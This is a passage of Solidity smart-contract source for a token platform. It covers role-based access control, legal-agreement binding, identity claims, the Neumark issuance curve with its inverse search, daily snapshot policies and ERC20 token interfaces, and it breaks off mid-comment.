StandardRoles { //////////////////////// // Constants //////////////////////// // @notice Soldity somehow doesn't evaluate this compile time // @dev role which has rights to change permissions and set new policy in contract, keccak256("AccessController") bytes32 internal constant ROLE_ACCESS_CONTROLLER = 0xac42f8beb17975ed062dcb80c63e6d203ef1c2c335ced149dc5664cc671cb7da; } /// @title Granular code execution permissions /// @notice Intended to replace existing Ownable pattern with more granular permissions set to execute smart contract functions /// for each function where 'only' modifier is applied, IAccessPolicy implementation is called to evaluate if msg.sender belongs to required role for contract being called. /// Access evaluation specific belong to IAccessPolicy implementation, see RoleBasedAccessPolicy for details. /// @dev Should be inherited by a contract requiring such permissions controll. IAccessPolicy must be provided in constructor. Access policy may be replaced to a different one /// by msg.sender with ROLE_ACCESS_CONTROLLER role contract AccessControlled is IAccessControlled, StandardRoles { //////////////////////// // Mutable state //////////////////////// IAccessPolicy private _accessPolicy; //////////////////////// // Modifiers //////////////////////// /// @dev limits function execution only to senders assigned to required 'role' modifier only(bytes32 role) { require(_accessPolicy.allowed(msg.sender, role, this, msg.sig)); _; } //////////////////////// // Constructor //////////////////////// constructor(IAccessPolicy policy) internal { require(address(policy) != 0x0); _accessPolicy = policy; } //////////////////////// // Public functions //////////////////////// // // Implements IAccessControlled // function setAccessPolicy(IAccessPolicy newPolicy, address newAccessController) public only(ROLE_ACCESS_CONTROLLER) { // ROLE_ACCESS_CONTROLLER must be present // under the new policy. This provides some // protection against locking yourself out. require(newPolicy.allowed(newAccessController, ROLE_ACCESS_CONTROLLER, this, msg.sig)); // We can now safely set the new policy without foot shooting. IAccessPolicy oldPolicy = _accessPolicy; _accessPolicy = newPolicy; // Log event emit LogAccessPolicyChanged(msg.sender, oldPolicy, newPolicy); } function accessPolicy() public constant returns (IAccessPolicy) { return _accessPolicy; } } /// @title standard access roles of the Platform /// @dev constants are kept in CODE not in STORAGE so they are comparatively cheap contract AccessRoles { //////////////////////// // Constants //////////////////////// // NOTE: All roles are set to the keccak256 hash of the // CamelCased role name, i.e. // ROLE_LOCKED_ACCOUNT_ADMIN = keccak256("LockedAccountAdmin") // May issue (generate) Neumarks bytes32 internal constant ROLE_NEUMARK_ISSUER = 0x921c3afa1f1fff707a785f953a1e197bd28c9c50e300424e015953cbf120c06c; // May burn Neumarks it owns bytes32 internal constant ROLE_NEUMARK_BURNER = 0x19ce331285f41739cd3362a3ec176edffe014311c0f8075834fdd19d6718e69f; // May create new snapshots on Neumark bytes32 internal constant ROLE_SNAPSHOT_CREATOR = 0x08c1785afc57f933523bc52583a72ce9e19b2241354e04dd86f41f887e3d8174; // May enable/disable transfers on Neumark bytes32 internal constant ROLE_TRANSFER_ADMIN = 0xb6527e944caca3d151b1f94e49ac5e223142694860743e66164720e034ec9b19; // may reclaim tokens/ether from contracts supporting IReclaimable interface bytes32 internal constant ROLE_RECLAIMER = 0x0542bbd0c672578966dcc525b30aa16723bb042675554ac5b0362f86b6e97dc5; // represents legally platform operator in case of forks and contracts with legal agreement attached. keccak256("PlatformOperatorRepresentative") bytes32 internal constant ROLE_PLATFORM_OPERATOR_REPRESENTATIVE = 0xb2b321377653f655206f71514ff9f150d0822d062a5abcf220d549e1da7999f0; // allows to deposit EUR-T and allow addresses to send and receive EUR-T. keccak256("EurtDepositManager") bytes32 internal constant ROLE_EURT_DEPOSIT_MANAGER = 0x7c8ecdcba80ce87848d16ad77ef57cc196c208fc95c5638e4a48c681a34d4fe7; // allows to register identities and change associated claims keccak256("IdentityManager") bytes32 internal constant ROLE_IDENTITY_MANAGER = 0x32964e6bc50f2aaab2094a1d311be8bda920fc4fb32b2fb054917bdb153a9e9e; // allows to replace controller on euro token and to destroy tokens without withdraw kecckak256("EurtLegalManager") bytes32 internal constant ROLE_EURT_LEGAL_MANAGER = 0x4eb6b5806954a48eb5659c9e3982d5e75bfb2913f55199877d877f157bcc5a9b; // allows to change known interfaces in universe kecckak256("UniverseManager") bytes32 internal constant ROLE_UNIVERSE_MANAGER = 0xe8d8f8f9ea4b19a5a4368dbdace17ad71a69aadeb6250e54c7b4c7b446301738; // allows to exchange gas for EUR-T keccak("GasExchange") bytes32 internal constant ROLE_GAS_EXCHANGE = 0x9fe43636e0675246c99e96d7abf9f858f518b9442c35166d87f0934abef8a969; // allows to set token exchange rates keccak("TokenRateOracle") bytes32 internal constant ROLE_TOKEN_RATE_ORACLE = 0xa80c3a0c8a5324136e4c806a778583a2a980f378bdd382921b8d28dcfe965585; } contract IEthereumForkArbiter { //////////////////////// // Events //////////////////////// event LogForkAnnounced( string name, string url, uint256 blockNumber ); event LogForkSigned( uint256 blockNumber, bytes32 blockHash ); //////////////////////// // Public functions //////////////////////// function nextForkName() public constant returns (string); function nextForkUrl() public constant returns (string); function nextForkBlockNumber() public constant returns (uint256); function lastSignedBlockNumber() public constant returns (uint256); function lastSignedBlockHash() public constant returns (bytes32); function lastSignedTimestamp() public constant returns (uint256); } /** * @title legally binding smart contract * @dev General approach to paring legal and smart contracts: * 1. All terms and agreement are between two parties: here between smart conctract legal representation and platform investor. * 2. Parties are represented by public Ethereum addresses. Platform investor is and address that holds and controls funds and receives and controls Neumark token * 3. Legal agreement has immutable part that corresponds to smart contract code and mutable part that may change for example due to changing regulations or other externalities that smart contract does not control. * 4. There should be a provision in legal document that future changes in mutable part cannot change terms of immutable part. * 5. Immutable part links to corresponding smart contract via its address. * 6. Additional provision should be added if smart contract supports it * a. Fork provision * b. Bugfixing provision (unilateral code update mechanism) * c. Migration provision (bilateral code update mechanism) * * Details on Agreement base class: * 1. We bind smart contract to legal contract by storing uri (preferably ipfs or hash) of the legal contract in the smart contract. It is however crucial that such binding is done by smart contract legal representation so transaction establishing the link must be signed by respective wallet ('amendAgreement') * 2. Mutable part of agreement may change. We should be able to amend the uri later. Previous amendments should not be lost and should be retrievable (`amendAgreement` and 'pastAgreement' functions). * 3. It is up to deriving contract to decide where to put 'acceptAgreement' modifier. However situation where there is no cryptographic proof that given address was really acting in the transaction should be avoided, simplest example being 'to' address in `transfer` function of ERC20. * **/ contract IAgreement { //////////////////////// // Events //////////////////////// event LogAgreementAccepted( address indexed accepter ); event LogAgreementAmended( address contractLegalRepresentative, string agreementUri ); /// @dev should have access restrictions so only contractLegalRepresentative may call function amendAgreement(string agreementUri) public; /// returns information on last amendment of the agreement /// @dev MUST revert if no agreements were set function currentAgreement() public constant returns ( address contractLegalRepresentative, uint256 signedBlockTimestamp, string agreementUri, uint256 index ); /// returns information on amendment with index /// @dev MAY revert on non existing amendment, indexing starts from 0 function pastAgreement(uint256 amendmentIndex) public constant returns ( address contractLegalRepresentative, uint256 signedBlockTimestamp, string agreementUri, uint256 index ); /// returns the number of block at wchich `signatory` signed agreement /// @dev MUST return 0 if not signed function agreementSignedAtBlock(address signatory) public constant returns (uint256 blockNo); /// returns number of amendments made by contractLegalRepresentative function amendmentsCount() public constant returns (uint256); } /** * @title legally binding smart contract * @dev read IAgreement for details **/ contract Agreement is IAgreement, AccessControlled, AccessRoles { //////////////////////// // Type declarations //////////////////////// /// @notice agreement with signature of the platform operator representative struct SignedAgreement { address contractLegalRepresentative; uint256 signedBlockTimestamp; string agreementUri; } //////////////////////// // Immutable state //////////////////////// IEthereumForkArbiter private ETHEREUM_FORK_ARBITER; //////////////////////// // Mutable state //////////////////////// // stores all amendments to the agreement, first amendment is the original SignedAgreement[] private _amendments; // stores block numbers of all addresses that signed the agreement (signatory => block number) mapping(address => uint256) private _signatories; //////////////////////// // Modifiers //////////////////////// /// @notice logs that agreement was accepted by platform user /// @dev intended to be added to functions that if used make 'accepter' origin to enter legally binding agreement modifier acceptAgreement(address accepter) { acceptAgreementInternal(accepter); _; } modifier onlyLegalRepresentative(address legalRepresentative) { require(mCanAmend(legalRepresentative)); _; } //////////////////////// // Constructor //////////////////////// constructor(IAccessPolicy accessPolicy, IEthereumForkArbiter forkArbiter) AccessControlled(accessPolicy) internal { require(forkArbiter != IEthereumForkArbiter(0x0)); ETHEREUM_FORK_ARBITER = forkArbiter; } //////////////////////// // Public functions //////////////////////// function amendAgreement(string agreementUri) public onlyLegalRepresentative(msg.sender) { SignedAgreement memory amendment = SignedAgreement({ contractLegalRepresentative: msg.sender, signedBlockTimestamp: block.timestamp, agreementUri: agreementUri }); _amendments.push(amendment); emit LogAgreementAmended(msg.sender, agreementUri); } function ethereumForkArbiter() public constant returns (IEthereumForkArbiter) { return ETHEREUM_FORK_ARBITER; } function currentAgreement() public constant returns ( address contractLegalRepresentative, uint256 signedBlockTimestamp, string agreementUri, uint256 index ) { require(_amendments.length > 0); uint256 last = _amendments.length - 1; SignedAgreement storage amendment = _amendments[last]; return ( amendment.contractLegalRepresentative, amendment.signedBlockTimestamp, amendment.agreementUri, last ); } function pastAgreement(uint256 amendmentIndex) public constant returns ( address contractLegalRepresentative, uint256 signedBlockTimestamp, string agreementUri, uint256 index ) { SignedAgreement storage amendment = _amendments[amendmentIndex]; return ( amendment.contractLegalRepresentative, amendment.signedBlockTimestamp, amendment.agreementUri, amendmentIndex ); } function agreementSignedAtBlock(address signatory) public constant returns (uint256 blockNo) { return _signatories[signatory]; } function amendmentsCount() public constant returns (uint256) { return _amendments.length; } //////////////////////// // Internal functions //////////////////////// /// provides direct access to derived contract function acceptAgreementInternal(address accepter) internal { if(_signatories[accepter] == 0) { require(_amendments.length > 0); _signatories[accepter] = block.number; emit LogAgreementAccepted(accepter); } } // // MAgreement Internal interface (todo: extract) // /// default amend permission goes to ROLE_PLATFORM_OPERATOR_REPRESENTATIVE function mCanAmend(address legalRepresentative) internal returns (bool) { return accessPolicy().allowed(legalRepresentative, ROLE_PLATFORM_OPERATOR_REPRESENTATIVE, this, msg.sig); } } /// @title describes layout of claims in 256bit records stored for identities /// @dev intended to be derived by contracts requiring access to particular claims contract IdentityRecord { //////////////////////// // Types //////////////////////// /// @dev here the idea is to have claims of size of uint256 and use this struct /// to translate in and out of this struct. until we do not cross uint256 we /// have binary compatibility struct IdentityClaims { bool isVerified; // 1 bit bool isSophisticatedInvestor; // 1 bit bool hasBankAccount; // 1 bit bool accountFrozen; // 1 bit // uint252 reserved } //////////////////////// // Internal functions //////////////////////// /// translates uint256 to struct function deserializeClaims(bytes32 data) internal pure returns (IdentityClaims memory claims) { // for memory layout of struct, each field below word length occupies whole word assembly { mstore(claims, and(data, 0x1)) mstore(add(claims, 0x20), div(and(data, 0x2), 0x2)) mstore(add(claims, 0x40), div(and(data, 0x4), 0x4)) mstore(add(claims, 0x60), div(and(data, 0x8), 0x8)) } } } /// @title interface storing and retrieve 256bit claims records for identity /// actual format of record is decoupled from storage (except maximum size) contract IIdentityRegistry { //////////////////////// // Events //////////////////////// /// provides information on setting claims event LogSetClaims( address indexed identity, bytes32 oldClaims, bytes32 newClaims ); //////////////////////// // Public functions //////////////////////// /// get claims for identity function getClaims(address identity) public constant returns (bytes32); /// set claims for identity /// @dev odlClaims and newClaims used for optimistic locking. to override with newClaims /// current claims must be oldClaims function setClaims(address identity, bytes32 oldClaims, bytes32 newClaims) public; } /// @title known interfaces (services) of the platform /// "known interface" is a unique id of service provided by the platform and discovered via Universe contract /// it does not refer to particular contract/interface ABI, particular service may be delivered via different implementations /// however for a few contracts we commit platform to particular implementation (all ICBM Contracts, Universe itself etc.) /// @dev constants are kept in CODE not in STORAGE so they are comparatively cheap contract KnownInterfaces { //////////////////////// // Constants //////////////////////// // NOTE: All interface are set to the keccak256 hash of the // CamelCased interface or singleton name, i.e. // KNOWN_INTERFACE_NEUMARK = keccak256("Neumark") // EIP 165 + EIP 820 should be use instead but it seems they are far from finished // also interface signature should be build automatically by solidity. otherwise it is a pure hassle // neumark token interface and sigleton keccak256("Neumark") bytes4 internal constant KNOWN_INTERFACE_NEUMARK = 0xeb41a1bd; // ether token interface and singleton keccak256("EtherToken") bytes4 internal constant KNOWN_INTERFACE_ETHER_TOKEN = 0x8cf73cf1; // euro token interface and singleton keccak256("EuroToken") bytes4 internal constant KNOWN_INTERFACE_EURO_TOKEN = 0x83c3790b; // identity registry interface and singleton keccak256("IIdentityRegistry") bytes4 internal constant KNOWN_INTERFACE_IDENTITY_REGISTRY = 0x0a72e073; // currency rates oracle interface and singleton keccak256("ITokenExchangeRateOracle") bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE = 0xc6e5349e; // fee disbursal interface and singleton keccak256("IFeeDisbursal") bytes4 internal constant KNOWN_INTERFACE_FEE_DISBURSAL = 0xf4c848e8; // platform portfolio holding equity tokens belonging to NEU holders keccak256("IPlatformPortfolio"); bytes4 internal constant KNOWN_INTERFACE_PLATFORM_PORTFOLIO = 0xaa1590d0; // token exchange interface and singleton keccak256("ITokenExchange") bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE = 0xddd7a521; // service exchanging euro token for gas ("IGasTokenExchange") bytes4 internal constant KNOWN_INTERFACE_GAS_EXCHANGE = 0x89dbc6de; // access policy interface and singleton keccak256("IAccessPolicy") bytes4 internal constant KNOWN_INTERFACE_ACCESS_POLICY = 0xb05049d9; // euro lock account (upgraded) keccak256("LockedAccount:Euro") bytes4 internal constant KNOWN_INTERFACE_EURO_LOCK = 0x2347a19e; // ether lock account (upgraded) keccak256("LockedAccount:Ether") bytes4 internal constant KNOWN_INTERFACE_ETHER_LOCK = 0x978a6823; // icbm euro lock account keccak256("ICBMLockedAccount:Euro") bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_LOCK = 0x36021e14; // ether lock account (upgraded) keccak256("ICBMLockedAccount:Ether") bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_LOCK = 0x0b58f006; // ether token interface and singleton keccak256("ICBMEtherToken") bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_TOKEN = 0xae8b50b9; // euro token interface and singleton keccak256("ICBMEuroToken") bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_TOKEN = 0xc2c6cd72; // ICBM commitment interface interface and singleton keccak256("ICBMCommitment") bytes4 internal constant KNOWN_INTERFACE_ICBM_COMMITMENT = 0x7f2795ef; // ethereum fork arbiter interface and singleton keccak256("IEthereumForkArbiter") bytes4 internal constant KNOWN_INTERFACE_FORK_ARBITER = 0x2fe7778c; // Platform terms interface and singletong keccak256("PlatformTerms") bytes4 internal constant KNOWN_INTERFACE_PLATFORM_TERMS = 0x75ecd7f8; // for completness we define Universe service keccak256("Universe"); bytes4 internal constant KNOWN_INTERFACE_UNIVERSE = 0xbf202454; // ETO commitment interface (collection) keccak256("ICommitment") bytes4 internal constant KNOWN_INTERFACE_COMMITMENT = 0xfa0e0c60; // Equity Token Controller interface (collection) keccak256("IEquityTokenController") bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN_CONTROLLER = 0xfa30b2f1; // Equity Token interface (collection) keccak256("IEquityToken") bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN = 0xab9885bb; } contract IsContract { //////////////////////// // Internal functions //////////////////////// function isContract(address addr) internal constant returns (bool) { uint256 size; // takes 700 gas assembly { size := extcodesize(addr) } return size > 0; } } contract NeumarkIssuanceCurve { //////////////////////// // Constants //////////////////////// // maximum number of neumarks that may be created uint256 private constant NEUMARK_CAP = 1500000000000000000000000000; // initial neumark reward fraction (controls curve steepness) uint256 private constant INITIAL_REWARD_FRACTION = 6500000000000000000; // stop issuing new Neumarks above this Euro value (as it goes quickly to zero) uint256 private constant ISSUANCE_LIMIT_EUR_ULPS = 8300000000000000000000000000; // approximate curve linearly above this Euro value uint256 private constant LINEAR_APPROX_LIMIT_EUR_ULPS = 2100000000000000000000000000; uint256 private constant NEUMARKS_AT_LINEAR_LIMIT_ULPS = 1499832501287264827896539871; uint256 private constant TOT_LINEAR_NEUMARKS_ULPS = NEUMARK_CAP - NEUMARKS_AT_LINEAR_LIMIT_ULPS; uint256 private constant TOT_LINEAR_EUR_ULPS = ISSUANCE_LIMIT_EUR_ULPS - LINEAR_APPROX_LIMIT_EUR_ULPS; //////////////////////// // Public functions //////////////////////// /// @notice returns additional amount of neumarks issued for euroUlps at totalEuroUlps /// @param totalEuroUlps actual curve position from which neumarks will be issued /// @param euroUlps amount against which neumarks will be issued function incremental(uint256 totalEuroUlps, uint256 euroUlps) public pure returns (uint256 neumarkUlps) { require(totalEuroUlps + euroUlps >= totalEuroUlps); uint256 from = cumulative(totalEuroUlps); uint256 to = cumulative(totalEuroUlps + euroUlps); // as expansion is not monotonic for large totalEuroUlps, assert below may fail // example: totalEuroUlps=1.999999999999999999999000000e+27 and euroUlps=50 assert(to >= from); return to - from; } /// @notice returns amount of euro corresponding to burned neumarks /// @param totalEuroUlps actual curve position from which neumarks will be burned /// @param burnNeumarkUlps amount of neumarks to burn function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps) public pure returns (uint256 euroUlps) { uint256 totalNeumarkUlps = cumulative(totalEuroUlps); require(totalNeumarkUlps >= burnNeumarkUlps); uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps; uint newTotalEuroUlps = cumulativeInverse(fromNmk, 0, totalEuroUlps); // yes, this may overflow due to non monotonic inverse function assert(totalEuroUlps >= newTotalEuroUlps); return totalEuroUlps - newTotalEuroUlps; } /// @notice returns amount of euro corresponding to burned neumarks /// @param totalEuroUlps actual curve position from which neumarks will be burned /// @param burnNeumarkUlps amount of neumarks to burn /// @param minEurUlps euro amount to start inverse search from, inclusive /// @param maxEurUlps euro amount to end inverse search to, inclusive function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps) public pure returns (uint256 euroUlps) { uint256 totalNeumarkUlps = cumulative(totalEuroUlps); require(totalNeumarkUlps >= burnNeumarkUlps); uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps; uint newTotalEuroUlps = cumulativeInverse(fromNmk, minEurUlps, maxEurUlps); // yes, this may overflow due to non monotonic inverse function assert(totalEuroUlps >= newTotalEuroUlps); return totalEuroUlps - newTotalEuroUlps; } /// @notice finds total amount of neumarks issued for given amount of Euro /// @dev binomial expansion does not guarantee monotonicity on uint256 precision for large euroUlps /// function below is not monotonic function cumulative(uint256 euroUlps) public pure returns(uint256 neumarkUlps) { // Return the cap if euroUlps is above the limit. if (euroUlps >= ISSUANCE_LIMIT_EUR_ULPS) { return NEUMARK_CAP; } // use linear approximation above limit below // binomial expansion does not guarantee monotonicity on uint256 precision for large euroUlps if (euroUlps >= LINEAR_APPROX_LIMIT_EUR_ULPS) { // (euroUlps - LINEAR_APPROX_LIMIT_EUR_ULPS) is small so expression does not overflow return NEUMARKS_AT_LINEAR_LIMIT_ULPS + (TOT_LINEAR_NEUMARKS_ULPS * (euroUlps - LINEAR_APPROX_LIMIT_EUR_ULPS)) / TOT_LINEAR_EUR_ULPS; } // Approximate cap-cap·(1-1/D)^n using the Binomial expansion // http://galileo.phys.virginia.edu/classes/152.mf1i.spring02/Exponential_Function.htm // Function[imax, -CAP*Sum[(-IR*EUR/CAP)^i/Factorial[i], {i, imax}]] // which may be simplified to // Function[imax, -CAP*Sum[(EUR)^i/(Factorial[i]*(-d)^i), {i, 1, imax}]] // where d = cap/initial_reward uint256 d = 230769230769230769230769231; // NEUMARK_CAP / INITIAL_REWARD_FRACTION uint256 term = NEUMARK_CAP; uint256 sum = 0; uint256 denom = d; do assembly { // We use assembler primarily to avoid the expensive // divide-by-zero check solc inserts for the / operator. term := div(mul(term, euroUlps), denom) sum := add(sum, term) denom := add(denom, d) // sub next term as we have power of negative value in the binomial expansion term := div(mul(term, euroUlps), denom) sum := sub(sum, term) denom := add(denom, d) } while (term != 0); return sum; } /// @notice find issuance curve inverse by binary search /// @param neumarkUlps neumark amount to compute inverse for /// @param minEurUlps minimum search range for the inverse, inclusive /// @param maxEurUlps maxium search range for the inverse, inclusive /// @dev in case of approximate search (no exact inverse) upper element of minimal search range is returned /// @dev in case of many possible inverses, the lowest one will be used (if range permits) /// @dev corresponds to a linear search that returns first euroUlp value that has cumulative() equal or greater than neumarkUlps function cumulativeInverse(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps) public pure returns (uint256 euroUlps) { require(maxEurUlps >= minEurUlps); require(cumulative(minEurUlps) <= neumarkUlps); require(cumulative(maxEurUlps) >= neumarkUlps); uint256 min = minEurUlps; uint256 max = maxEurUlps; // Binary search while (max > min) { uint256 mid = (max + min) / 2; uint256 val = cumulative(mid); // exact solution should not be used, a late points of the curve when many euroUlps are needed to // increase by one nmkUlp this will lead to "indeterministic" inverse values that depend on the initial min and max // and further binary division -> you can land at any of the euro value that is mapped to the same nmk value // with condition below removed, binary search will point to the lowest eur value possible which is good because it cannot be exploited even with 0 gas costs /* if (val == neumarkUlps) { return mid; }*/ // NOTE: approximate search (no inverse) must return upper element of the final range // last step of approximate search is always (min, min+1) so new mid is (2*min+1)/2 => min // so new min = mid + 1 = max which was upper range. and that ends the search // NOTE: when there are multiple inverses for the same neumarkUlps, the `max` will be dragged down // by `max = mid` expression to the lowest eur value of inverse. works only for ranges that cover all points of multiple inverse if (val < neumarkUlps) { min = mid + 1; } else { max = mid; } } // NOTE: It is possible that there is no inverse // for example curve(0) = 0 and curve(1) = 6, so // there is no value y such that curve(y) = 5. // When there is no inverse, we must return upper element of last search range. // This has the effect of reversing the curve less when // burning Neumarks. This ensures that Neumarks can always // be burned. It also ensure that the total supply of Neumarks // remains below the cap. return max; } function neumarkCap() public pure returns (uint256) { return NEUMARK_CAP; } function initialRewardFraction() public pure returns (uint256) { return INITIAL_REWARD_FRACTION; } } contract IBasicToken { //////////////////////// // Events //////////////////////// event Transfer( address indexed from, address indexed to, uint256 amount ); //////////////////////// // Public functions //////////////////////// /// @dev This function makes it easy to get the total number of tokens /// @return The total number of tokens function totalSupply() public constant returns (uint256); /// @param owner The address that's balance is being requested /// @return The balance of `owner` at the current block function balanceOf(address owner) public constant returns (uint256 balance); /// @notice Send `amount` tokens to `to` from `msg.sender` /// @param to The address of the recipient /// @param amount The amount of tokens to be transferred /// @return Whether the transfer was successful or not function transfer(address to, uint256 amount) public returns (bool success); } /// @title allows deriving contract to recover any token or ether that it has balance of /// @notice note that this opens your contracts to claims from various people saying they lost tokens and they want them back /// be ready to handle such claims /// @dev use with care! /// 1. ROLE_RECLAIMER is allowed to claim tokens, it's not returning tokens to original owner /// 2. in derived contract that holds any token by design you must override `reclaim` and block such possibility. /// see ICBMLockedAccount as an example contract Reclaimable is AccessControlled, AccessRoles { //////////////////////// // Constants //////////////////////// IBasicToken constant internal RECLAIM_ETHER = IBasicToken(0x0); //////////////////////// // Public functions //////////////////////// function reclaim(IBasicToken token) public only(ROLE_RECLAIMER) { address reclaimer = msg.sender; if(token == RECLAIM_ETHER) { reclaimer.transfer(address(this).balance); } else { uint256 balance = token.balanceOf(this); require(token.transfer(reclaimer, balance)); } } } /// @title advances snapshot id on demand /// @dev see Snapshot folder for implementation examples ie. DailyAndSnapshotable contract contract ISnapshotable { //////////////////////// // Events //////////////////////// /// @dev should log each new snapshot id created, including snapshots created automatically via MSnapshotPolicy event LogSnapshotCreated(uint256 snapshotId); //////////////////////// // Public functions //////////////////////// /// always creates new snapshot id which gets returned /// however, there is no guarantee that any snapshot will be created with this id, this depends on the implementation of MSnaphotPolicy function createSnapshot() public returns (uint256); /// upper bound of series snapshotIds for which there's a value function currentSnapshotId() public constant returns (uint256); } /// @title Abstracts snapshot id creation logics /// @dev Mixin (internal interface) of the snapshot policy which abstracts snapshot id creation logics from Snapshot contract /// @dev to be implemented and such implementation should be mixed with Snapshot-derived contract, see EveryBlock for simplest example of implementation and StandardSnapshotToken contract MSnapshotPolicy { //////////////////////// // Internal functions //////////////////////// // The snapshot Ids need to be strictly increasing. // Whenever the snaspshot id changes, a new snapshot will be created. // As long as the same snapshot id is being returned, last snapshot will be updated as this indicates that snapshot id didn't change // // Values passed to `hasValueAt` and `valuteAt` are required // to be less or equal to `mCurrentSnapshotId()`. function mAdvanceSnapshotId() internal returns (uint256); // this is a version of mAdvanceSnapshotId that does not modify state but MUST return the same value // it is required to implement ITokenSnapshots interface cleanly function mCurrentSnapshotId() internal constant returns (uint256); } /// @title creates new snapshot id on each day boundary /// @dev snapshot id is unix timestamp of current day boundary contract Daily is MSnapshotPolicy { //////////////////////// // Constants //////////////////////// // Floor[2**128 / 1 days] uint256 private MAX_TIMESTAMP = 3938453320844195178974243141571391; //////////////////////// // Constructor //////////////////////// /// @param start snapshotId from which to start generating values, used to prevent cloning from incompatible schemes /// @dev start must be for the same day or 0, required for token cloning constructor(uint256 start) internal { // 0 is invalid value as we are past unix epoch if (start > 0) { uint256 base = dayBase(uint128(block.timestamp)); // must be within current day base require(start >= base); // dayBase + 2**128 will not overflow as it is based on block.timestamp require(start < base + 2**128); } } //////////////////////// // Public functions //////////////////////// function snapshotAt(uint256 timestamp) public constant returns (uint256) { require(timestamp < MAX_TIMESTAMP); return dayBase(uint128(timestamp)); } //////////////////////// // Internal functions //////////////////////// // // Implements MSnapshotPolicy // function mAdvanceSnapshotId() internal returns (uint256) { return mCurrentSnapshotId(); } function mCurrentSnapshotId() internal constant returns (uint256) { // disregard overflows on block.timestamp, see MAX_TIMESTAMP return dayBase(uint128(block.timestamp)); } function dayBase(uint128 timestamp) internal pure returns (uint256) { // Round down to the start of the day (00:00 UTC) and place in higher 128bits return 2**128 * (uint256(timestamp) / 1 days); } } /// @title creates snapshot id on each day boundary and allows to create additional snapshots within a given day /// @dev snapshots are encoded in single uint256, where high 128 bits represents a day number (from unix epoch) and low 128 bits represents additional snapshots within given day create via ISnapshotable contract DailyAndSnapshotable is Daily, ISnapshotable { //////////////////////// // Mutable state //////////////////////// uint256 private _currentSnapshotId; //////////////////////// // Constructor //////////////////////// /// @param start snapshotId from which to start generating values /// @dev start must be for the same day or 0, required for token cloning constructor(uint256 start) internal Daily(start) { if (start > 0) { _currentSnapshotId = start; } } //////////////////////// // Public functions //////////////////////// // // Implements ISnapshotable // function createSnapshot() public returns (uint256) { uint256 base = dayBase(uint128(block.timestamp)); if (base > _currentSnapshotId) { // New day has started, create snapshot for midnight _currentSnapshotId = base; } else { // within single day, increase counter (assume 2**128 will not be crossed) _currentSnapshotId += 1; } // Log and return emit LogSnapshotCreated(_currentSnapshotId); return _currentSnapshotId; } //////////////////////// // Internal functions //////////////////////// // // Implements MSnapshotPolicy // function mAdvanceSnapshotId() internal returns (uint256) { uint256 base = dayBase(uint128(block.timestamp)); // New day has started if (base > _currentSnapshotId) { _currentSnapshotId = base; emit LogSnapshotCreated(base); } return _currentSnapshotId; } function mCurrentSnapshotId() internal constant returns (uint256) { uint256 base = dayBase(uint128(block.timestamp)); return base > _currentSnapshotId ? base : _currentSnapshotId; } } contract ITokenMetadata { //////////////////////// // Public functions //////////////////////// function symbol() public constant returns (string); function name() public constant returns (string); function decimals() public constant returns (uint8); } /// @title adds token metadata to token contract /// @dev see Neumark for example implementation contract TokenMetadata is ITokenMetadata { //////////////////////// // Immutable state //////////////////////// // The Token's name: e.g. DigixDAO Tokens string private NAME; // An identifier: e.g. REP string private SYMBOL; // Number of decimals of the smallest unit uint8 private DECIMALS; // An arbitrary versioning scheme string private VERSION; //////////////////////// // Constructor //////////////////////// /// @notice Constructor to set metadata /// @param tokenName Name of the new token /// @param decimalUnits Number of decimals of the new token /// @param tokenSymbol Token Symbol for the new token /// @param version Token version ie. when cloning is used constructor( string tokenName, uint8 decimalUnits, string tokenSymbol, string version ) public { NAME = tokenName; // Set the name SYMBOL = tokenSymbol; // Set the symbol DECIMALS = decimalUnits; // Set the decimals VERSION = version; } //////////////////////// // Public functions //////////////////////// function name() public constant returns (string) { return NAME; } function symbol() public constant returns (string) { return SYMBOL; } function decimals() public constant returns (uint8) { return DECIMALS; } function version() public constant returns (string) { return VERSION; } } contract IERC20Allowance { //////////////////////// // Events //////////////////////// event Approval( address indexed owner, address indexed spender, uint256 amount ); //////////////////////// // Public functions //////////////////////// /// @dev This function makes it easy to read the `allowed[]` map /// @param owner The address of the account that owns the token /// @param spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens of owner that spender is allowed /// to spend function allowance(address owner, address spender) public constant returns (uint256 remaining); /// @notice `msg.sender` approves `spender` to spend `amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param spender The address of the account able to transfer the tokens /// @param amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address spender, uint256 amount) public returns (bool success); /// @notice Send `amount` tokens to `to` from `from` on the condition it /// is approved by `from` /// @param from The address holding the tokens being transferred /// @param to The address of the recipient /// @param amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address from, address to, uint256 amount) public returns (bool success); } contract IERC20Token is IBasicToken, IERC20Allowance { } /// @title controls spending approvals /// @dev TokenAllowance observes this interface, Neumark contract implements it contract MTokenAllowanceController { //////////////////////// // Internal functions //////////////////////// /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param owner The address that calls `approve()` /// @param spender The spender in the `approve()` call /// @param amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function mOnApprove( address owner, address spender, uint256 amount ) internal returns (bool allow); /// @notice Allows to override allowance approved by the owner /// Primary role is to enable forced transfers, do not override if you do not like it /// Following behavior is expected in the observer /// approve() - should revert if mAllowanceOverride() > 0 /// allowance() - should return mAllowanceOverride() if set /// transferFrom() - should override allowance if mAllowanceOverride() > 0 /// @param owner An address giving allowance to spender /// @param spender An address getting a right to transfer allowance amount from the owner /// @return current allowance amount function mAllowanceOverride( address owner, address spender ) internal constant returns (uint256 allowance); } /// @title controls token transfers /// @dev BasicSnapshotToken observes this interface, Neumark contract implements it contract MTokenTransferController { //////////////////////// // Internal functions //////////////////////// /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param from The origin 